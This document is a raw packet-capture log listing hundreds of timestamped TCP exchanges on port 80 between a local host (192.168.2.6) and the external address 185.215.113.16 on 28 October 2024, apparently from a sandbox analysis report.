Oct 28, 2024 15:28:21.048551083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048561096 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048571110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048578978 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048598051 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048691034 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048702002 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048712015 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048722982 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048728943 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048732996 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048754930 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048831940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048842907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048852921 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048861027 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048863888 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048873901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048880100 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048885107 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048894882 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048906088 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048906088 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048918009 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048923969 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048958063 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048980951 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048991919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049001932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049012899 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049021006 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049024105 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049035072 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049040079 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049046040 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049066067 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049129963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049140930 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049150944 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049161911 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049164057 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049173117 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049181938 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049184084 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049196005 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049206018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049211979 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049226999 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049279928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049292088 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049300909 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049310923 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049312115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049323082 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049328089 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049334049 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049344063 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049354076 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049354076 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049365044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049408913 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049420118 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049432039 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049443007 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049453974 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049463034 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049474001 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049483061 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049484968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049495935 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049505949 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049510002 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049518108 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049526930 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049529076 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049550056 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049561977 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049587011 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049599886 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049612045 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049622059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049627066 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049632072 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049643040 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049653053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049654961 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049671888 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049727917 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049738884 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049748898 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049758911 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049760103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049770117 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049776077 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049782991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049808025 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049865961 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049877882 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049887896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049892902 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049899101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049910069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049921036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049931049 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049932957 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049940109 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.049941063 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049947023 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049952984 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.049973965 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.050010920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.050020933 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.050031900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.050040007 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.050041914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.050052881 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.050055981 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.050081968 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.050134897 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.050146103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.050157070 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.050184965 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.271847010 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.271883965 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.537357092 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543287992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543318987 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543344975 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543360949 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543366909 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543380022 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543389082 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543389082 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543431044 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543503046 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543514967 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543526888 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543538094 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543549061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543559074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543570042 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543571949 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543585062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543590069 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543603897 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543610096 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543612957 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543639898 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543661118 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543668985 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543689013 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543701887 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543711901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543723106 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543731928 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543745995 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543755054 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543756962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543771982 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543776035 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543787956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543800116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543801069 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543809891 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543822050 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543823004 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543834925 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543845892 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543853045 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543858051 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543870926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543879986 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543879986 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543884993 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543904066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543904066 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543916941 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543929100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543929100 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543940067 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543951035 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543962002 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543972969 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543982983 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.543982983 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.543993950 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544004917 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544011116 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544015884 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544028044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544035912 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544035912 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544039011 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544049025 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544066906 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544073105 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544080019 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544091940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544092894 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544102907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544114113 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544125080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544136047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544142008 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544142962 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544147968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544162989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544172049 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544173956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544184923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544190884 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544195890 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544208050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544215918 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544219971 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544231892 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544243097 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544255018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544256926 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544256926 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544266939 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544275999 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544276953 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544287920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544297934 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544312954 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544316053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544318914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544322968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544332981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544342041 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544343948 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544354916 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544361115 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544373989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544387102 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544399977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544409990 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544410944 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544409990 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544423103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544434071 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544434071 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544450998 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544457912 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544470072 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544481993 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544493914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544503927 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544507027 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544523954 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544533014 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544536114 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544545889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544553041 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544557095 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544569016 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544579983 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544590950 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544599056 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544601917 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544612885 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544616938 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544616938 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544624090 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544636011 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544647932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544661045 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544672012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544684887 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544706106 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544717073 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544723988 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544728994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544739962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544751883 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544763088 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544773102 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544784069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544786930 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544795036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544806004 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544817924 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544817924 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544826031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544836998 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544838905 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544851065 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544861078 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544872046 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544882059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544888973 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544894934 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544905901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544918060 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544925928 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544929028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544940948 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544946909 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544950962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544962883 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544962883 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544975042 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544980049 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.544989109 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.544998884 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545008898 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545017958 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545017958 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545021057 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545033932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545046091 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545056105 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545064926 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545067072 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545078039 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545089006 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545089960 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545089960 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545104027 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545109034 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545115948 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545126915 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545136929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545147896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545159101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545170069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545176983 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545176983 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545188904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545197964 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545202017 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545212984 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545224905 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545229912 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545236111 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545237064 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545237064 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545248032 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545259953 CET	80	49764	185.215.113.16	192.168.2.6
